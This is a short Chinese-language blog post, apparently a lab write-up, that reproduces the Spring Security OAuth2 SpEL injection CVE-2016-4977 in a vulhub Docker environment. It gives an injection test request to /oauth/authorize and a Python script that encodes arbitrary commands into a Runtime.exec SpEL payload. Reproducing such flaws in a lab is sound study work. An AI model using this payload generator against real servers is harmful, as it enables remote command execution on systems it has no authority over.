Spring Security OAuth2 远程命令执行漏洞复现(CVE-2016-4977)

Spring Security OAuth2 远程命令执行漏洞复现(CVE-2016-4977)

漏洞介绍:

Spring Security OAuth 是为 Spring 框架提供安全认证支持的一个模块。在其使用 whitelabel views 来处理错误时,由于使用了Springs Expression Language (SpEL),攻击者在被授权的情况下可以通过构造恶意参数来远程执行命令

环境复现:

在虚拟机中用vulhub靶场提供的docker容器来复现

jdk版本1.7

python版本3.5

首先安装好vulhub和docker,进入vulhub目录:spring/CVE-2016-4977,启动docker容器

漏洞利用:

访问路径/oauth/authorize,会看到左上角有个绿色叶子的标志,一般都是spring或者springboot

直接打poc,可以看到有el表达式注入的形式

/oauth/authorize?response_type=${2*3}&client_id=acme&scope=openid&redirect_uri=http://test
 

如果要命令执行需要把执行结果带外才行,java的命令执行漏洞基本需要编码

点击这里 

完成编码

Base64编码后的命令执行语句还需要进行ascii编码,直接带入以下python脚本中

message = input('Enter message to encode:')
poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])

for ch in message[1:]:
    poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch) 

poc += ')}'
print(poc)

 得到的编码之后的poc 

python编码的poc直接替换掉前面的el表达式,漏洞成功复现

Guess you like

Origin blog.csdn.net/qq_48985780/article/details/121007181